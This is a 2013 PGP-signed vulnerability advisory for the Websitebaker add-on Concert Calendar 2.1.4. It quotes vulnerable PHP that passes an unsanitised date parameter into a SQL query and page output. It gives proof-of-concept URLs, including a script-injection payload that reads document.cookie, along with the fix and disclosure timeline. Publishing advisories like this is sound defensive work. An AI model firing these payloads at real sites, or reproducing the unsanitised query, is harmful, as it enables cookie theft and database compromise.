Websitebaker Concert Calendar 2.1.4 XSS / SQL Injection

`-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
Advisory: Websitebaker Add-on 'Concert Calendar 2.1.4' XSS & SQLi  
vulnerability  
Advisory ID: SSCHADV2013-001  
Author: Stefan Schurtz  
Affected Software: Successfully tested on Concert Calendar 2.1.4  
Vendor URL:   
http://addons.websitebaker2.org/pages/en/browse-add-ons.php?id=0E8BC37  
Vendor Status: fixed  
  
==========================  
Vulnerability Description  
==========================  
  
Websitebaker Add-on 'Concert Calendar 2.1.4' is prone to a XSS and SQLi  
vulnerability  
  
==========================  
Vuln code  
==========================  
  
// view.php  
  
if (isset($_GET['date'])) {  
$date = $_GET['date'];  
}  
.  
.  
.  
// SQLi  
$query_dates = mysql_query("SELECT * FROM  
".TABLE_PREFIX."mod_concert_dates WHERE section_id = '$section_id' &&  
concert_date = '$date'"); // Zeile 184  
  
// XSS  
  
echo " ".switch_date($date, $dateview)." "; // Zeile 176  
  
==========================  
PoC-Exploit  
==========================  
  
// SQLi (magic_quotes = off)  
  
http://[target]/wb/pages/addon.php?date=[SQLi]  
  
// XSS  
  
http://[target]/wb/pages/addon.php?date='"><script>alert(document.cookie)</script>  
  
==========================  
Solution  
==========================  
  
Update to the latest version Concert Calendar 2.2  
  
==========================  
Disclosure Timeline  
==========================  
  
01-Jan-2013 - developer informed  
08-Jan-2013 - fixed by developer  
  
==========================  
Credits  
==========================  
  
Vulnerabilities found and advisory written by Stefan Schurtz.  
  
==========================  
References  
==========================  
  
http://addons.websitebaker2.org/pages/en/browse-add-ons.php?id=0E8BC37  
http://www.darksecurity.de/advisories/2013/SSCHADV2013-001.txt  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1.4.12 (MingW32)  
Comment: Thunderbird-Portable 3.1.20 by GnuPT - Gnu Privacy Tools  
Comment: Download at: http://thunderbird.gnupt.de  
  
iEYEARECAAYFAlDvEA8ACgkQg3svV2LcbMCqAwCcCA1yWal9t1Bdeu33qBOpip2i  
XMcAn2e08M5GNyZ5TfSy5BiCB08+W+bF  
=97A/  
-----END PGP SIGNATURE-----  
  
`